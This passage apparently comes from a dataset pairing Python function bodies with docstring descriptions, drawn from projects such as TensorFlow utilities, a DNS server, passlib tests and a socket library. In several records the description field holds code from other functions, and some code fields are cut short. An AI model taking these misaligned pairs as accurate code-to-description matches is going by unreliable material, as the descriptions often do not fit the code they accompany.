of named capture groups...# if there are any named capture groups...rv_groupdict = self.search_result.groupdict()if (self.groups != {}) and isinstance(self.groups, dict):# Cast types of the numerical regex match groups...for idx, value in enumerate(rv_groups):# Lookup the match_type in the self.groups dictionary. regex# capture groups are indexed starting at 1, so we need to# offset the enumerate() idx value...match_type = self.groups.get(idx + 1, None)if match_type is not None:rv_groups[idx] = match_type(value)# Cast types of the named regex match groups...for re_name, value in rv_groupdict.items():match_type = self.groups.get(re_name, None)if match_type is not None:rv_groupdict[re_name] = match_type(value)elif self.attempted_search is False:error = \".search(r'%s') was NOT attempted yet.\" % (self.target_str)logger.warning(error)return rv_groups, rv_groupdictdef _get_ipv4(val=\"\", strict=False, stdlib=False, debug=0):Return the requested IPv4 object to the caller. This method heavily depends on IPv4Obj()"} {"code": "def hasPendingInvite(self, avatarId):\n pendingInvite = False\n if self.avIdDict.has_key(avatarId):\n leaderId = self.avIdDict[avatarId]\n leaderInviteList = self.getGroupInviteList(leaderId)\n if (leaderId == avatarId):\n if len(leaderInviteList):\n pendingInvite = True\n else:\n pendingInvite = False\n else:\n if avatarId in leaderInviteList:\n pendingInvite = True\n else:\n pendingInvite = False\n if pendingInvite:\n return True\n else:\n return False\n", "nl": "This is a two-stage check:If the avatar is a leader just check if there is anyone in the leader's invite list.If the avatar is a non-leader just check if the avatar is there in it's leader's invite list."} {"code": "def __getitem__(self, key):\n if self.expr_list: return self.expr_list[key]\n else:\n if key < 0: key += len(self)\n if self.expr_tensor:\n return dy.pick(self.expr_tensor, key, dim=len(self.expr_tensor.dim()[0])-1)\n else:\n return dy.pick(self.expr_transposed_tensor, key, dim=0)\n", "nl": "Get a single item.Returns:sequence item (expression); does not result in explicit conversion to list"} {"code": "def mask_rnn_inputs(rnn_inputs, gamma, gradient_gamma):\n with tf.name_scope('mask_rnn_inputs'):\n if not gradient_gamma:\n gamma = tf.stop_gradient(gamma)\n\n return rnn_inputs * gamma\n", "nl": "Mask the deltas (inputs to RNN) by gamma.:param rnn_inputs: (B, K, H, W, C)Note: This is a list to later support multiple inputs:param gamma: (B, K, H, W, 1):return: masked deltas (B, K, H, W, C)"} {"code": "def value(self, value):\n\n self._value = value\n", "nl": "Sets the value of this V1PodDNSConfigOption.:param value: The value of this V1PodDNSConfigOption. # noqa: E501:type: str"} {"code": "def save(self):\n logging.debug(\"New item edit dialog\")\n row = bag.currentRow()\n column = bag.currentColumn()\n current = bag.currentItem()\n item = saves.empty_slot()\n valid_slot = (type(current) is not QTableWidgetItem and\n current is not None and\n current.item is not None)\n\n if do_import:\n imported = import_json(self.window)\n if imported is False:\n self.ui.statusbar.showMessage(\"Error importing item, see starcheat log for details\", 3000)\n return\n elif imported is None:\n return\n else:\n item = imported\n\n if valid_slot:\n item.update(current.item)\n\n if not json_edit:\n item_edit = ItemEdit(self.window, item,\n self.player, self.assets,\n self.remember_browser)\n else:\n item_edit = ItemEditOptions(self.window,\n item[\"name\"],\n item,\n \"Edit Item Data\")\n", "nl": "Update internal player dict with GUI values and export to file.logging.info(\"Saving player file %s\", self.player.filename)self.set_bags()# save and show statuslogging.info(\"Writing file to disk\")self.player.export_save(self.player.filename)self.update_title()self.ui.statusbar.showMessage(\"Saved \" + self.player.filename, 3000)self.window.setWindowModified(False)self.players[self.player.get_uuid()] = self.playerdef new_item_edit(self, bag, do_import, json_edit=False):Display a new item edit dialog using the select cell in a given bag."} {"code": "def align_coordinates(self, geom, *, reverse=False) -> Array:\n\n return ats[self.atommap]\n", "nl": "suitable for geometry or displaced geometryalgeom = np.copy(geom)if reverse:algeom = algeom.dot(self.rotation)algeom = algeom + self.shiftif self.mirror:algeom[:, 1] *= -1.0else:if self.mirror:algeom[:, 1] *= -1.0algeom = algeom - self.shiftalgeom = algeom.dot(self.rotation)algeom = algeom[self.atommap, :]# mirror-wise, rsm/msr == rms/msrreturn algeomdef align_atoms(self, ats):suitable for masses, symbols, Zs, etc."} {"code": "def flip_parts_and_coords(self, part_ids, vu):\n num_instances, num_points = shape_utils.combined_static_and_dynamic_shape(\n part_ids)\n part_ids_flattened = tf.reshape(part_ids, [-1])\n new_part_ids_flattened = tf.gather(self.part_symmetries, part_ids_flattened)\n new_part_ids = tf.reshape(new_part_ids_flattened,\n [num_instances, num_points])\n\n vu = tf.math.minimum(tf.math.maximum(vu, 0.0), 1.0)\n vu_locs = tf.cast(vu * 256., dtype=tf.int32)\n vu_locs_flattened = tf.reshape(vu_locs, [-1, 2])\n v_locs_flattened, u_locs_flattened = tf.unstack(vu_locs_flattened, axis=1)\n\n symmetry_lookup_inds = (\n part_ids_flattened * 65536 + 256 * v_locs_flattened + u_locs_flattened)\n\n v_new = tf.gather(self.uv_symmetries['V_transforms'], symmetry_lookup_inds)\n u_new = tf.gather(self.uv_symmetries['U_transforms'], symmetry_lookup_inds)\n new_vu_flattened = tf.stack([v_new, u_new], axis=1)\n new_vu = tf.reshape(new_vu_flattened, [num_instances, num_points, 2])\n\n return new_part_ids, new_vu\n\n", "nl": "Flips part ids and coordinates.Args:part_ids: a [num_instances, num_points] int32 tensor with pre-flipped partids. These part_ids are 0-indexed, where the first non-background parthas index 0.vu: a [num_instances, num_points, 2] float32 tensor with pre-flipped vunormalized coordinates.Returns:new_part_ids: a [num_instances, num_points] int32 tensor with post-flippedpart ids. These part_ids are 0-indexed, where the first non-backgroundpart has index 0.new_vu: a [num_instances, num_points, 2] float32 tensor with post-flippedvu coordinates."} {"code": "def edns_from_text(text):\n\n return _from_text(text, _edns_by_text)\n\n", "nl": "Convert a space-separated list of EDNS flag text values into a EDNSflags value.Returns an ``int``"} {"code": "def reloading(fn_or_seq=None, every=1, forever=None):\n if fn_or_seq:\n if isinstance(fn_or_seq, types.FunctionType):\n return _reloading_function(fn_or_seq, every=every)\n return _reloading_loop(fn_or_seq, every=every)\n if forever:\n return _reloading_loop(iter(int, 1), every=every)\n\n decorator = update_wrapper(no_iter_partial(reloading, every=every), reloading)\n return decorator\n\n", "nl": "Wraps a loop iterator or decorates a function to reload the source codebefore every loop iteration or function invocation.When wrapped around the outermost iterator in a `for` loop, e.g.`for i in reloading(range(10))`, causes the loop body to reload from sourcebefore every iteration while keeping the state.When used as a function decorator, the decorated function is reloaded fromsource before each execution.Pass the integer keyword argument `every` to reload the source codeonly every n-th iteration/invocation.Args:fn_or_seq (function | iterable): A function or loop iterator which shouldbe reloaded from source before each invocation or iteration,respectivelyevery (int, Optional): After how many iterations/invocations to reloadforever (bool, Optional): Pass `forever=true` instead of an iterator tocreate an endless loop"} {"code": "def common_parent(self, other):\n\n return self.base_mapper is other.base_mapper\n", "nl": "Return true if the given mapper shares acommon inherited parent as this mapper."} {"code": "def read_label_file(dataset_dir, filename=LABELS_FILENAME):\n labels_filename = os.path.join(dataset_dir, filename)\n with tf.gfile.Open(labels_filename, 'r') as f:\n lines = f.read().decode()\n lines = lines.split('\\n')\n lines = filter(None, lines)\n\n labels_to_class_names = {}\n for line in lines:\n index = line.index(':')\n labels_to_class_names[int(line[:index])] = line[index+1:]\n return labels_to_class_names\n\n\nclass ImageReader(object):\n \"\"\"Helper class that provides TensorFlow image coding utilities.\"\"\"", "nl": "Reads the labels file and returns a mapping from ID to class name.Args:dataset_dir: The directory in which the labels file is found.filename: The filename where the class names are written.Returns:A map from a label (integer) to class name."} {"code": "def define_distribution(worker_hosts=True, task_index=True):\n key_flags = []\n\n if worker_hosts:\n flags.DEFINE_string(\n name='worker_hosts',", "nl": "Register distributed execution flags.Args:worker_hosts: Create a flag for specifying comma-separated list of workers.task_index: Create a flag for specifying index of task.Returns:A list of flags for core.py to marks as key flags."} {"code": "def read_vocab(vocab_path):\n skipped = 0\n assert os.path.isfile(vocab_path), vocab_path\n word2id = {BOS_WORD: 0, EOS_WORD: 1, PAD_WORD: 2, UNK_WORD: 3}\n for i in range(SPECIAL_WORDS):\n word2id[SPECIAL_WORD % i] = 4 + i\n counts = {k: 0 for k in word2id.keys()}\n f = open(vocab_path, 'r', encoding='utf-8')\n for i, line in enumerate(f):\n if '\\u2028' in line:\n skipped += 1\n continue\n line = line.rstrip().split()\n if len(line) != 2:\n skipped += 1\n continue\n assert len(line) == 2, (i, line)\n assert line[1].isdigit(), (i, line)\n if line[0] in word2id:\n skipped += 1\n print('%s already in vocab' % line[0])\n continue\n if not line[1].isdigit():\n skipped += 1\n print('Empty word at line %s with count %s' % (i, line))\n continue\n word2id[line[0]] = 4 + SPECIAL_WORDS + i - skipped\n counts[line[0]] = int(line[1])\n f.close()\n id2word = {v: k for k, v in word2id.items()}\n dico = Dictionary(id2word, word2id, counts)\n logger.info(\"Read %i words from the vocabulary file.\" % len(dico))\n if skipped > 0:\n logger.warning(\"Skipped %i empty lines!\" % skipped)\n return dico\n\n @staticmethod", "nl": "Create a dictionary from a vocabulary file."} {"code": "def from_callable(cls, obj, *, follow_wrapped=True):\n Pass 'parameters' and/or 'return_annotation' arguments\n to override them in the new copy.\n \"\"\"", "nl": "Constructs Signature for the given callable object.return _signature_from_callable(obj, sigcls=cls,follow_wrapper_chains=follow_wrapped)@propertydef parameters(self):return self._parameters@propertydef return_annotation(self):return self._return_annotationdef replace(self, *, parameters=_void, return_annotation=_void):Creates a customized copy of the Signature."} {"code": "def save_object(obj, file_name):\n path to the cached file. If the argument is not a URL, simply return it as\n is.\n \"\"\"", "nl": "Save a Python object by pickling it.file_name = os.path.abspath(file_name)with open(file_name, 'wb') as f:pickle.dump(obj, f, pickle.HIGHEST_PROTOCOL)def cache_url(url_or_file, cache_dir):Download the file specified by the URL to the cache_dir and return the"} {"code": "def pendingFrames(self):\n return self.data.show_stats.pending_frames\n", "nl": "Returns the total number of running frames currently in the queue.:rtype: int:return: the total number of pending frames"} {"code": "def _scan_product(self, shipment_advice, product, picking):\n if not picking:\n return self._response_for_scan_document(\n shipment_advice,\n message=self.msg_store.scan_operation_first(),\n )\n move_lines = self._find_move_lines_from_product(\n shipment_advice, product, picking\n )\n if move_lines:\n message = self._check_picking_status(move_lines.picking_id, shipment_advice)\n if message:\n return self._response_for_scan_document(\n shipment_advice, message=message\n )\n package_levels_not_loaded = move_lines.package_level_id.filtered(\n lambda pl: not pl.is_done\n )\n if package_levels_not_loaded:\n return self._response_for_scan_document(\n shipment_advice,\n picking,\n message=self.msg_store.product_owned_by_packages(\n package_levels_not_loaded.package_id\n ),\n )\n if product.tracking != \"none\":\n lots_not_loaded = move_lines.filtered(\n lambda ml: (\n not ml.package_level_id\n and ml.qty_done != ml.product_uom_qty\n and ml.lot_id\n )\n )\n if len(lots_not_loaded) > 1:\n return self._response_for_scan_document(\n shipment_advice,\n picking,\n message=self.msg_store.product_owned_by_lots(\n lots_not_loaded.lot_id\n ),\n )\n if move_lines._is_loaded_in_shipment():\n return self._response_for_scan_document(\n shipment_advice,\n picking,\n message=self.msg_store.product_already_loaded_in_shipment(\n product, shipment_advice\n ),\n )\n move_lines._load_in_shipment(shipment_advice)\n return self._response_for_scan_document_or_loading_list(\n shipment_advice,\n move_lines.picking_id,\n )\n message = self.msg_store.unable_to_load_product_in_shipment(\n product, shipment_advice\n )\n if shipment_advice.planned_move_ids:\n message = self.msg_store.product_not_planned_in_shipment(\n product, shipment_advice\n )\n return self._response_for_scan_document(shipment_advice, message=message)\n", "nl": "Load the product in the shipment advice.Find the first move line (of the planned shipment advice inpriority if any) corresponding to the scanned product and load it.If no move line is found an error will be returned."} {"code": "def aggregate(self, *args, **kwargs):\n self._process_aggregate_args(args, kwargs)\n qs = self.non_polymorphic()\n return super(PolymorphicQuerySet, qs).aggregate(*args, **kwargs)\n", "nl": "translate the polymorphic field paths in the kwargs, then call vanilla aggregate.We need no polymorphic object retrieval for aggregate => switch it off."} {"code": "def _schedule_request(self, envelope: Envelope) -> Task:\n dispatcher: RequestDispatcher\n if (\n envelope.protocol_specification_id\n == LedgerApiMessage.protocol_specification_id\n ):\n if self._ledger_dispatcher is None:\n raise ValueError(\"No ledger dispatcher set.\")\n dispatcher = self._ledger_dispatcher\n elif (\n envelope.protocol_specification_id\n == ContractApiMessage.protocol_specification_id\n ):\n if self._contract_dispatcher is None:\n raise ValueError(\"No contract dispatcher set.\")\n dispatcher = self._contract_dispatcher\n else:\n raise ValueError(\"Protocol not supported\")\n\n task = dispatcher.dispatch(envelope)\n return task\n", "nl": "Schedule a ledger API request.:param envelope: the message.:return: task"} {"code": "def _paste(self, item):\n if item == -1:\n return\n ent = self.current_results_list[item][0]\n title = ent.split(' - ', 1)[1]\n self.view.run_command('insert', {'characters': title})\n\n\nclass CiterCompleteCitationEventListener(sublime_plugin.EventListener):\n\n \"\"\"docstring for CiterCompleteCitationEventListener\"\"\"", "nl": "Paste item into buffer"} {"code": "def bool_or_none(b):\n return \"|\".join(f\"(?:{r})\" for r in regexes)\n\n", "nl": "Return bool(b), but preserve None.if b is None:return Noneelse:return bool(b)def join_regex(regexes):Combine a list of regexes into one that matches any of them."} {"code": "def resnet34(pretrained=False, **kwargs):\n model = ResNet(BasicBlock, [3, 4, 6, 3], **kwargs)\n if pretrained:\n model.load_state_dict(model_zoo.load_url(model_urls['resnet34']))\n return model\n\n", "nl": "Constructs a ResNet-34 model.Args:pretrained (bool): If True, returns a model pre-trained on ImageNet"} {"code": "def gotResolverResponse(self, response, protocol, message, address):\n ans, auth, add = response\n response = self._responseFromMessage(\n message=message, rCode=dns.OK,\n answers=ans, authority=auth, additional=add)\n self.sendReply(protocol, response, address)\n\n l = len(ans) + len(auth) + len(add)\n self._verboseLog(\"Lookup found %d record%s\" % (l, l != 1 and \"s\" or \"\"))\n\n if self.cache and l:\n self.cache.cacheResult(\n message.queries[0], (ans, auth, add)\n )\n\n", "nl": "A callback used by L{DNSServerFactory.handleQuery} for handling thedeferred response from C{self.resolver.query}.Constructs a response message by combining the original query messagewith the resolved answer, authority and additional records.Marks the response message as authoritative if any of the resolvedanswers are found to be authoritative.The resolved answers count will be logged if C{DNSServerFactory.verbose}is C{>1}.@param response: Answer records, authority records and additional records@type response: L{tuple} of L{list} of L{dns.RRHeader} instances@param protocol: The DNS protocol instance to which to send a responsemessage.@type protocol: L{dns.DNSDatagramProtocol} or L{dns.DNSProtocol}@param message: The original DNS query message for which a responsemessage will be constructed.@type message: L{dns.Message}@param address: The address to which the response message will be sentor L{None} if C{protocol} is a stream protocol.@type address: L{tuple} or L{None}"} {"code": "def getHost(self):\n return address.SSHTransportAddress(self.transport.getHost())\n\n\n @property", "nl": "Returns an L{SSHTransportAddress} corresponding to the this side oftransport.@return: L{SSHTransportAddress} for the peer@rtype: L{SSHTransportAddress}@since: 12.1"} {"code": "def autospec(target, *attributes: str, pass_mocks: bool = True, **patch_kwargs) -> Callable:", "nl": "Patch multiple `attributes` of a `target` with autospecced mocks and `spec_set` as True.If `pass_mocks` is True, pass the autospecced mocks as arguments to the decorated object."} {"code": "def _attribute_value_dict(attr_values: Dict[str, dict], key: str) -> Optional[Dict[str, AttributeValue]]:\n attr_values_dict = attr_values.get(key)\n return None if attr_values_dict is None else {k: AttributeValue(v) for k, v in attr_values_dict.items()}\n\n\nclass StreamViewType(Enum):\n \"\"\"The type of data from the modified DynamoDB item that was captured in this stream record\"\"\"", "nl": "A dict of type String to AttributeValue object mapExample:>>> {\"NewImage\": {\"Id\": {\"S\": \"xxx-xxx\"}, \"Value\": {\"N\": \"35\"}}}"} {"code": "def CalculateSimilarityRdkit(fp1, fp2, similarity=\"Tanimoto\"):\n temp = DataStructs.similarityFunctions\n for i in temp:\n if similarity in i[0]:\n similarityfunction = i[1]\n else:\n similarityfunction = temp[0][1]\n\n res = similarityfunction(fp1, fp2)\n return round(res, 3)\n\n", "nl": "#################################################################Calculate similarity between two molecules.Usage:result=CalculateSimilarity(fp1,fp2)Users can choose 11 different types:Tanimoto, Dice, Cosine, Sokal, Russel,RogotGoldberg, AllBit, Kulczynski,McConnaughey, Asymmetric, BraunBlanquetInput: fp1 and fp2 are two DataStructs.Output: result is a similarity value.#################################################################"} {"code": "def get_all(self):\n body = {\"method\": \"get\", \"params\": [{\"url\": self.obj_url}], \"verbose\": 1, \"session\": self.session}\n response = self.make_request(body)\n\n return response.json()[\"result\"][0].get(\"data\", [])\n", "nl": "This method is used to get all objects currently configured on the FortiManager for the ADOM and API Endpoint.:return: The list of configuration dictionaries for each object. An empty list is returned if the request doesnot return any data."} {"code": "def setlist(self, key, new_list):\n dict.__setitem__(self, key, list(new_list))\n", "nl": "Remove the old values for a key and add new ones. Note that the listyou pass the values in will be shallow-copied before it is inserted inthe dictionary.>>> d = MultiDict()>>> d.setlist('foo', ['1', '2'])>>> d['foo']'1'>>> d.getlist('foo')['1', '2']:param key: The key for which the values are set.:param new_list: An iterable with the new values for the key. Old valuesare removed first."} {"code": "def GetPrimaryColumn(self):\n i = self.GetPrimaryColumnIndex()\n if i == -1:\n return None\n else:\n return self.columns[i]\n\n", "nl": "Return the primary column or None there is no primary column.The primary column is the first column given by the user.This column is edited when F2 is pressed."} {"code": "def test_share_database_with_redundant_role_entries(self):\n self.assertDictEqual(self.db.security_document(), dict())\n share = 'user-{0}'.format(unicode_(uuid.uuid4()))\n self.db.share_database(share, ['_writer', '_writer'])\n expected = {'cloudant': {share: ['_writer']}}\n self.assertDictEqual(self.db.security_document(), expected)\n", "nl": "Test the sharing of a database works when the list of roles containsvalid entries but some entries are duplicates."} {"code": "def template_inst_node(templ, names, starname, scope_key, copy):\n node = TemplateInstanceNode()\n node.template = templ.node.copy() if copy else templ.node\n node.names = names\n node.starname = starname\n node.scope_key = scope_key\n return node\n\n", "nl": " Create and return a new template inst node.Parameters----------templ : TemplateInstThe template instantiation object.names : tupleThe identifier names to associate with the instantiation items.This may be an empty tuple if there are no such identifiers.starname : strThe star name to associate with the extra instantiated items.This may be an empty string if there is no such item.scope_key : objectThe key for the local scope in the local storage maps.copy : boolWhether a copy of the underlying template node is required. Acopy will be required when the template instance has bindingsso that the closure keys remain isolated to this instance.Returns-------result : TemplateInstNodeThe compiler node for the template instantiation."} {"code": "def _diff_dict(orig, new):\n final = {}\n for k, v in new.items():\n if isinstance(v, dict):\n v = _diff_dict(orig.get(k, {}), v)\n if len(v) > 0:\n final[k] = v\n elif v != orig.get(k):\n final[k] = v\n for k, v in orig.items():\n if k not in new:\n final[k] = None\n return final\n", "nl": "Diff a nested dictionary, returning only key/values that differ."} {"code": "def getLatestIssueStr(self):\n return self.latestIssue", "nl": "We normally get this once, we could get this when a new issue is released while logged in.assert self.notify.debugStateCall(self)# why are we herepassdef getLatestIssue(self):Return the latest issue as coming from the uberdog server."} {"code": "def readlines(self, sizehint=None):\n\n bufsize = 8 * 1024\n \"\"\"The buffer size used when reading the socket.\"\"\"", "nl": "Read lines from the request body and return them.if self.length is not None:if sizehint is None:sizehint = self.length - self.bytes_readelse:sizehint = min(sizehint, self.length - self.bytes_read)lines = []seen = 0while True:line = self.readline()if not line:breaklines.append(line)seen += len(line)if seen >= sizehint:breakreturn linesdef finish(self):self.done = Trueif self.has_trailers and hasattr(self.fp, 'read_trailer_lines'):self.trailers = {}try:for line in self.fp.read_trailer_lines():if line[0] in ntob(' \\t'):# It's a continuation line.v = line.strip()else:try:k, v = line.split(ntob(\":\"), 1)except ValueError:raise ValueError(\"Illegal header line.\")k = k.strip().title()v = v.strip()if k in comma_separated_headers:existing = self.trailers.get(envname)if existing:v = ntob(\", \").join((existing, v))self.trailers[k] = vexcept Exception:e = sys.exc_info()[1]if e.__class__.__name__ == 'MaxSizeExceeded':# Post data is too bigraise cherrypy.HTTPError(413, \"Maximum request length: %r\" % e.args[1])else:raiseclass RequestBody(Entity):The entity of the HTTP request."} {"code": "def test_get_crypt_handler(self):\n from passlib.registry import list_crypt_handlers\n\n import passlib.hash\n passlib.hash.__dict__[\"_fake\"] = \"dummy\"\n for name in list_crypt_handlers():\n self.assertFalse(name.startswith(\"_\"), \"%r: \" % name)\n unload_handler_name(\"_fake\")\n", "nl": "test get_crypt_handler()class dummy_1(uh.StaticHandler):name = \"dummy_1\"# without available handlerself.assertRaises(KeyError, get_crypt_handler, \"dummy_1\")self.assertIs(get_crypt_handler(\"dummy_1\", None), None)# already loaded handlerregister_crypt_handler(dummy_1)self.assertIs(get_crypt_handler(\"dummy_1\"), dummy_1)with warnings.catch_warnings():warnings.filterwarnings(\"ignore\", \"handler names should be lower-case, and use underscores instead of hyphens:.*\", UserWarning)# already loaded handler, using incorrect nameself.assertIs(get_crypt_handler(\"DUMMY-1\"), dummy_1)# lazy load of unloaded handler, using incorrect nameregister_crypt_handler_path('dummy_0', __name__)self.assertIs(get_crypt_handler(\"DUMMY-0\"), dummy_0)# check system & private names aren't returnedimport passlib.hash # ensure module imported, so py3.3 sets __package__passlib.hash.__dict__[\"_fake\"] = \"dummy\" # so behavior seen under py2x alsofor name in [\"_fake\", \"__package__\"]:self.assertRaises(KeyError, get_crypt_handler, name)self.assertIs(get_crypt_handler(name, None), None)def test_list_crypt_handlers(self):test list_crypt_handlers()"} {"code": "def parse_dict_header(value):\n result = {}\n for item in _parse_list_header(value):\n if '=' not in item:\n result[item] = None\n continue\n name, value = item.split('=', 1)\n if value[:1] == value[-1:] == '\"':\n value = unquote_header_value(value[1:-1])\n result[name] = value\n return result\n\n", "nl": "Parse lists of key, value pairs as described by RFC 2068 Section 2 andconvert them into a python dict:>>> d = parse_dict_header('foo=\"is a fish\", bar=\"as well\"')>>> type(d) is dictTrue>>> sorted(d.items())[('bar', 'as well'), ('foo', 'is a fish')]If there is no value for a key it will be `None`:>>> parse_dict_header('key_without_value'){'key_without_value': None}To create a header from the :class:`dict` again, use the:func:`dump_header` function.:param value: a string with a dict header.:return: :class:`dict`:rtype: dict"} {"code": "def runElfDiff(self, args: ArgsList, expected_return_code=0) -> None:\n test_name: str = super()._getTestShortName()\n prepared_args: List[str] = self.prepareArgs(args)\n (output, error) = runSubprocess(\n test_name=test_name,\n cmd=ELF_DIFF_START + prepared_args,\n expected_return_code=expected_return_code,\n )\n", "nl": "Runs elf diff with a given set of argumentsargs: Arguments are given as name value pair tuples. Flag argmuments require None type values"} {"code": "def remove(self, pattern_list):\n lines = self._read_local()\n for pattern in pattern_list:\n for index in range(len(lines)):\n line = lines[index]\n if re.match(pattern, line):\n lines.remove(line)\n if (not line.endswith('\\n') and (index > 0)):\n lines[index - 1] = lines[index - 1].rstrip(\"\\n\")\n self._write_local(lines)\n self._push_file()\n", "nl": "Remove the lines in remote file which matchs a patternin pattern_list."} {"code": "def test_validate_address():\n ethereum_api = EthereumApi(**ethereum_testnet_config)\n ec = EthereumCrypto()\n balance = ethereum_api.get_balance(ec.address)\n assert balance == 0, \"New account has a positive balance.\"\n ec = EthereumCrypto(private_key_path=ethereum_private_key_file)\n balance = ethereum_api.get_balance(ec.address)\n assert balance > 0, \"Existing account has no balance.\"\n\n\n@pytest.mark.flaky(reruns=MAX_FLAKY_RERUNS)\n@pytest.mark.integration\n@pytest.mark.ledger", "nl": "Test the is_valid_address functionality.account = EthereumCrypto()assert EthereumApi.is_valid_address(account.address)assert not EthereumApi.is_valid_address(account.address + \"wrong\")@pytest.mark.flaky(reruns=MAX_FLAKY_RERUNS)@pytest.mark.integration@pytest.mark.ledgerdef test_get_balance(ethereum_testnet_config, ganache, ethereum_private_key_file):Test the balance is zero for a new account."} {"code": "def format(item):\n\n @staticmethod", "nl": "Return pretty-formatted item.schema = [('name', '_id', None),('location', None, None),('servers', 'server', '\\n'.join),('rest-servers', 'rest-server', '\\n'.join),('zkurl', None, None),('fqdn', None, None),('ttl', None, None),('nameservers', None, '\\n'.join)]format_item = make_dict_to_table(schema)format_list = make_list_to_table([('name', '_id', None),('location', None, None),('fqdn', None, None),('servers', 'server', ','.join),])if isinstance(item, list):return format_list(item)return format_item(item)class AppGroupPrettyFormatter:Pretty table App Groups formatter."} {"code": "def _make_token_emb(num_embeddings: int) -> embedding.Embed:\n return dense_attention.MultiQueryDotProductAttention(\n num_heads=8,\n dtype=DTYPE,\n qkv_features=16,\n head_dim=None,\n kernel_init=ATTENTION_KERNEL_INIT,\n bias_init=BIAS_INIT,\n use_bias=False,\n broadcast_dropout=True,\n dropout_rate=0.1)\n\n", "nl": "Test configuration for token embeddings.return embedding.Embed(num_embeddings=num_embeddings,features=13,cast_input_dtype=jnp.int32,dtype=DTYPE,attend_dtype=jnp.float32, # for logit training stabilityembedding_init=EMBEDDING_INIT,name='token_embedder')def _make_multi_query_attention() -> dense_attention.MultiQueryDotProductAttention:Test configuration for attention."} {"code": "def nr_devices(self):\n return self.inner_cmd(\"nr-devices\")\n", "nl": "nr-devices - return number of whole block devices (disks) addedThis returns the number of whole block devices that were added"} {"code": "def __eq__(self, other):\n if not isinstance(other, V1alpha1WorkflowSetRequest):\n return True\n\n return self.to_dict() != other.to_dict()", "nl": "Returns true if both objects are equalif not isinstance(other, V1alpha1WorkflowSetRequest):return Falsereturn self.to_dict() == other.to_dict()def __ne__(self, other):Returns true if both objects are not equal"} {"code": "def run_script(script_name, namespace):\n", "nl": "Execute the named script in the supplied namespace dictionaryclass IResourceProvider(IMetadataProvider):An object that provides access to package resources"} {"code": "def list(self, prefix='', delimiter='', marker='', headers=None):\n return BucketListResultSet(self, prefix, delimiter, marker, headers)\n", "nl": "List key objects within a bucket. This returns an instance of anBucketListResultSet that automatically handles all of the resultpaging, etc. from S3. You just need to keep iterating untilthere are no more results.Called with no arguments, this will return an iterator object acrossall keys within the bucket.The Key objects returned by the iterator are obtained by parsingthe results of a GET on the bucket, also known as the List Objectsrequest. The XML returned by this request contains only a subsetof the information about each key. Certain metadata fields suchas Content-Type and user metadata are not available in the XML.Therefore, if you want these additional metadata fields you willhave to do a HEAD request on the Key in the bucket.:type prefix: string:param prefix: allows you to limit the listing to a particularprefix. For example, if you call the method withprefix='/foo/' then the iterator will only cyclethrough the keys that begin with the string '/foo/'.:type delimiter: string:param delimiter: can be used in conjunction with the prefixto allow you to organize and browse your keyshierarchically. See:http://docs.amazonwebservices.com/AmazonS3/2006-03-01/for more details.:type marker: string:param marker: The \"marker\" of where you are in the result set:rtype: :class:`boto.s3.bucketlistresultset.BucketListResultSet`:return: an instance of a BucketListResultSet that handles paging, etc"} {"code": "def filter_groundtruth_with_crowd_boxes(tensor_dict):\n if fields.InputDataFields.groundtruth_is_crowd in tensor_dict:\n is_crowd = tensor_dict[fields.InputDataFields.groundtruth_is_crowd]\n is_not_crowd = tf.logical_not(is_crowd)\n is_not_crowd_indices = tf.where(is_not_crowd)\n tensor_dict = retain_groundtruth(tensor_dict, is_not_crowd_indices)\n return tensor_dict\n\n", "nl": "Filters out groundtruth with boxes corresponding to crowd.Args:tensor_dict: a dictionary of following groundtruth tensors -fields.InputDataFields.groundtruth_boxesfields.InputDataFields.groundtruth_classesfields.InputDataFields.groundtruth_confidencesfields.InputDataFields.groundtruth_keypointsfields.InputDataFields.groundtruth_instance_masksfields.InputDataFields.groundtruth_is_crowdfields.InputDataFields.groundtruth_areafields.InputDataFields.groundtruth_label_typesReturns:a dictionary of tensors containing only the groundtruth that have boundingboxes."} {"code": "def root_variable_scope(**kwargs):\n scope = tf.get_variable_scope()\n old_name = scope.name\n try:\n scope._name = ''\n with variable_scope_ops._pure_variable_scope('', **kwargs) as vs:\n scope._name = old_name\n with tf.name_scope(None):\n yield vs\n finally:\n scope._name = old_name", "nl": "Open the root variable scope and its name scope.Args:**kwargs: Named arguments for opening the root variable scope."} {"code": "def __init__(self, command, changed_resources, unchanged_resources):\n self.command = command\n self.changed_resources = changed_resources\n self.unchanged_resources = unchanged_resources\n", "nl": "Initializer.:param str command: the command run that caused the error:param changed_resources: the target resources that would change:type changed_resources: frozenset of str:param unchanged_resources: the target resources that would not change:type unchanged_resources: frozenset of strPrecondition: unchanged_resources != frozenset()"} {"code": "def test_signals_courses_unpublish(self, mock_bulk, *_):\n course = CourseFactory(page_languages=[\"en\", \"fr\"], should_publish=True)\n self.run_commit_hooks()\n mock_bulk.reset_mock()\n\n self.assertTrue(course.extended_object.unpublish(\"en\"))\n course.refresh_from_db()\n\n self.assertFalse(mock_bulk.called)\n\n self.run_commit_hooks()\n\n self.assertEqual(mock_bulk.call_count, 1)\n self.assertEqual(len(mock_bulk.call_args[1][\"actions\"]), 1)\n action = mock_bulk.call_args[1][\"actions\"][0]\n self.assertEqual(action[\"_id\"], course.get_es_id())\n self.assertEqual(action[\"_op_type\"], \"index\")\n self.assertEqual(action[\"_index\"], \"test_courses\")\n\n mock_bulk.reset_mock()\n\n self.assertTrue(course.extended_object.unpublish(\"fr\"))\n course.refresh_from_db()\n\n self.assertFalse(mock_bulk.called)\n\n self.run_commit_hooks()\n\n self.assertEqual(mock_bulk.call_count, 1)\n self.assertEqual(len(mock_bulk.call_args[1][\"actions\"]), 1)\n action = mock_bulk.call_args[1][\"actions\"][0]\n self.assertEqual(action[\"_id\"], course.get_es_id())\n self.assertEqual(action[\"_op_type\"], \"delete\")\n self.assertEqual(action[\"_index\"], \"test_courses\")\n", "nl": "Unpublishing a course in a language should update its document in the Elasticsearchcourses index or delete it if there is no language published anymore."} {"code": "def __getitem__(self, idx):\n\n if isinstance(idx, slice) or isinstance(idx, int):\n return self._children[idx]\n elif isinstance(idx, str):\n return self._childrenByName[idx]\n else:\n raise IndexError(idx)\n", "nl": "if given key is numeric, return the nth child, otherwisetry to return the child tag (or list of child tags) havingthe key as the tag name"} {"code": "def interact(self, insock=sys.stdin, outsock=sys.stdout):\n self.logger.interact_starting()\n other = Netcat(simplesock.SimpleDuplex(_xwrap(insock), _xwrap(outsock)))\n ferry(self, other, suppress_timeout=True, suppress_raise_eof=True)\n self.logger.interact_ending()\n\n\n LINE_ENDING = b'\\n'\n", "nl": "Connects the socket to the terminal for user interaction.Alternate input and output files may be specified.This method cannot be used with a 